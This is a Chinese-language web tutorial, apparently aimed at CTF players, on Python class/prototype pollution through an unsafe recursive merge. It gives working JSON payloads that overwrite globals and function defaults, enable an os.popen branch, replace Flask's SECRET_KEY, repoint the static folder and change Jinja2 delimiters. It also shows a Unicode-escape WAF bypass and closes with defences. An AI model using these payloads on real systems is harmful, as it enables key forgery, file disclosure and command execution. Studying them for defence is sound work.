Python原型链污染攻击技术详解<\/h1>

一、原型链污染基础概念<\/h2>
原型链污染(Prototype Pollution)是一种安全漏洞，攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中，这种攻击通常通过不安全的对象合并(merge)操作实现。<\/p>

二、核心Merge函数分析<\/h2>
def<\/span> merge<\/span>(src, dst):
<\/span><\/span>    # 递归合并函数<\/span>
<\/span><\/span>    for<\/span> k, v in<\/span> src.<\/span>items():
<\/span><\/span>        if<\/span> hasattr(dst, '__getitem__'<\/span>):
<\/span><\/span>            if<\/span> dst.<\/span>get(k) and<\/span> type(v) ==<\/span> dict:
<\/span><\/span>                merge(v, dst.<\/span>get(k))
<\/span><\/span>            else<\/span>:
<\/span><\/span>                dst[k] =<\/span> v
<\/span><\/span>        elif<\/span> hasattr(dst, k) and<\/span> type(v) ==<\/span> dict:
<\/span><\/span>            merge(v, getattr(dst, k))
<\/span><\/span>        else<\/span>:
<\/span><\/span>            setattr(dst, k, v)
<\/span><\/span><\/code><\/pre>这个merge函数存在以下安全问题：<\/p>

递归合并嵌套字典<\/li>
允许通过setattr设置任意属性<\/li>
没有对特殊属性(如__class__<\/code>, __globals__<\/code>等)进行过滤<\/li>
<\/ol>
三、基本攻击方法<\/h2>
1. 通过继承链污染<\/h3>
class<\/span> ctfer<\/span>:
<\/span><\/span>    flag =<\/span> "flag<\/span>{fake_flag}<\/span>"<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Delete<\/span>(ctfer):
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Chu0<\/span>(ctfer):
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span>ctf1 =<\/span> Delete()
<\/span><\/span>ctf2 =<\/span> Chu0()
<\/span><\/span>
<\/span><\/span>evil_payload =<\/span> {
<\/span><\/span>    "__class__"<\/span>: {
<\/span><\/span>        "__base__"<\/span>: {
<\/span><\/span>            "flag"<\/span>: "flag<\/span>{really_flag}<\/span>"<\/span>
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>merge(evil_payload, ctf1)  # 污染基类属性<\/span>
<\/span><\/span><\/code><\/pre>注意<\/strong>：Python中的object属性无法被污染，尝试污染会抛出TypeError。<\/p>
2. 通过__globals__<\/code>污染<\/h3>
当不存在继承关系时，可以利用__globals__<\/code>属性：<\/p>
evil_payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "flag"<\/span>: "flag<\/span>{really_flag}<\/span>"<\/span>
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>__globals__<\/code>是函数对象的属性，包含函数定义时的全局变量字典。<\/p>
四、高级攻击技术<\/h2>
1. 使用sys模块进行跨模块污染<\/h3>
evil_payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "sys"<\/span>: {
<\/span><\/span>                "modules"<\/span>: {
<\/span><\/span>                    "test1"<\/span>: {
<\/span><\/span>                        "Test1"<\/span>: {
<\/span><\/span>                            "flag"<\/span>: "flag<\/span>{really_flag}<\/span>"<\/span>
<\/span><\/span>                        }
<\/span><\/span>                    }
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. 使用加载器(Loader)获取sys模块<\/h3>
当题目环境中没有直接导入sys时：<\/p>
import<\/span> math
<\/span><\/span>loader =<\/span> math.<\/span>__spec__.<\/span>__init__.<\/span>__globals__['sys'<\/span>]
<\/span><\/span><\/code><\/pre>3. 函数默认值污染<\/h3>
通过__defaults__<\/code>污染<\/h4>
def<\/span> evil<\/span>(arg_1, shell=<\/span>False<\/span>):
<\/span><\/span>    if<\/span> not<\/span> shell:
<\/span><\/span>        print(arg_1)
<\/span><\/span>    else<\/span>:
<\/span><\/span>        print(__import__("os"<\/span>).<\/span>popen(arg_1).<\/span>read())
<\/span><\/span>
<\/span><\/span>evil_payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "evil"<\/span>: {
<\/span><\/span>                "__defaults__"<\/span>: (True<\/span>,)
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>通过__kwdefaults__<\/code>污染<\/h4>
def<\/span> evil<\/span>(arg_1, *<\/span>, shell=<\/span>False<\/span>):
<\/span><\/span>    if<\/span> not<\/span> shell:
<\/span><\/span>        print(arg_1)
<\/span><\/span>    else<\/span>:
<\/span><\/span>        print(__import__("os"<\/span>).<\/span>popen(arg_1).<\/span>read())
<\/span><\/span>
<\/span><\/span>evil_payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "evilFunc"<\/span>: {
<\/span><\/span>                "__kwdefaults__"<\/span>: {
<\/span><\/span>                    "shell"<\/span>: True<\/span>
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>五、Flask框架特定攻击<\/h2>
1. 密钥替换攻击<\/h3>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "app"<\/span>: {
<\/span><\/span>                "config"<\/span>: {
<\/span><\/span>                    "SECRET_KEY"<\/span>: "Polluted~"<\/span>
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. _got_first_request<\/code>污染<\/h3>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "app"<\/span>: {
<\/span><\/span>                "_got_first_request"<\/span>: False<\/span>
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>3. _static_url_path<\/code>污染<\/h3>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "app"<\/span>: {
<\/span><\/span>                "_static_folder"<\/span>: ".\/"<\/span>
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4. 通过os.path.pardir污染<\/h3>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "os"<\/span>: {
<\/span><\/span>                "path"<\/span>: {
<\/span><\/span>                    "pardir"<\/span>: ","<\/span>
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>5. Jinja2模板引擎污染<\/h3>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "app"<\/span>: {
<\/span><\/span>                "jinja_env"<\/span>: {
<\/span><\/span>                    "variable_start_string"<\/span>: "[["<\/span>,
<\/span><\/span>                    "variable_end_string"<\/span>: "]]"<\/span>
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>六、绕过WAF的技巧<\/h2>
当存在关键词过滤时，可以使用Unicode编码绕过：<\/p>
{
<\/span><\/span>    "<\/span>\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F<\/span>"<\/span>: {
<\/span><\/span>        "<\/span>\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F<\/span>"<\/span>: {
<\/span><\/span>            "<\/span>\u0061\u0070\u0070<\/span>"<\/span>: {
<\/span><\/span>                "<\/span>\u006A\u0069\u006E\u006A\u0061\u005F\u0065\u006E\u0076<\/span>"<\/span>: {
<\/span><\/span>                    "<\/span>\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0073\u0074\u0061\u0072\u0074\u005F\u0073\u0074\u0072\u0069\u006E\u0067<\/span>"<\/span>: "[#"<\/span>,
<\/span><\/span>                    "<\/span>\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0065\u006E\u0064\u005F\u0073\u0074\u0072\u0069\u006E\u0067<\/span>"<\/span>: "#]"<\/span>
<\/span><\/span>                },
<\/span><\/span>                "config"<\/span>: {
<\/span><\/span>                    "<\/span>\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059<\/span>"<\/span>: "password"<\/span>
<\/span><\/span>                }
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>七、实际CTF案例分析<\/h2>
1. CTFshow西瓜杯<\/h3>
攻击目标：<\/p>

污染app.secret_key<\/code>为已知值<\/li>
污染_static_folder<\/code>路径为服务器根目录<\/li>
实现任意文件读取获取flag<\/li>
<\/ol>
2. DownUnderCTF 2024 - co2<\/h3>
通过污染全局flag变量：<\/p>
payload =<\/span> {
<\/span><\/span>    "__init__"<\/span>: {
<\/span><\/span>        "__globals__"<\/span>: {
<\/span><\/span>            "flag"<\/span>: "true"<\/span>
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>八、防御措施<\/h2>

避免使用不安全的递归合并函数<\/li>
对用户输入的JSON数据进行严格过滤<\/li>
禁止设置特殊属性(__class__<\/code>, __globals__<\/code>等)<\/li>
使用安全的替代方案如dict.update()<\/code>或第三方安全合并库<\/li>
对关键函数和类进行属性设置的白名单控制<\/li>
<\/ol>
九、总结<\/h2>
Python原型链污染是一种强大的攻击技术，可以：<\/p>

修改类属性<\/li>
污染全局变量<\/li>
操纵框架配置<\/li>
绕过安全限制<\/li>
<\/ul>
理解这些攻击技术有助于开发更安全的Python应用程序和设计更有效的防御措施。<\/p>
Python原型链污染攻击技术详解<\/h1>

一、原型链污染基础概念<\/h2> 原型链污染(Prototype Pollution)是一种安全漏洞，攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中，这种攻击通常通过不安全的对象合并(merge)操作实现。<\/p>

三、基本攻击方法<\/h2>

3. 函数默认值污染<\/h3>

五、Flask框架特定攻击<\/h2>

七、实际CTF案例分析<\/h2>

一、原型链污染基础概念<\/h2>
原型链污染(Prototype Pollution)是一种安全漏洞，攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中，这种攻击通常通过不安全的对象合并(merge)操作实现。<\/p>
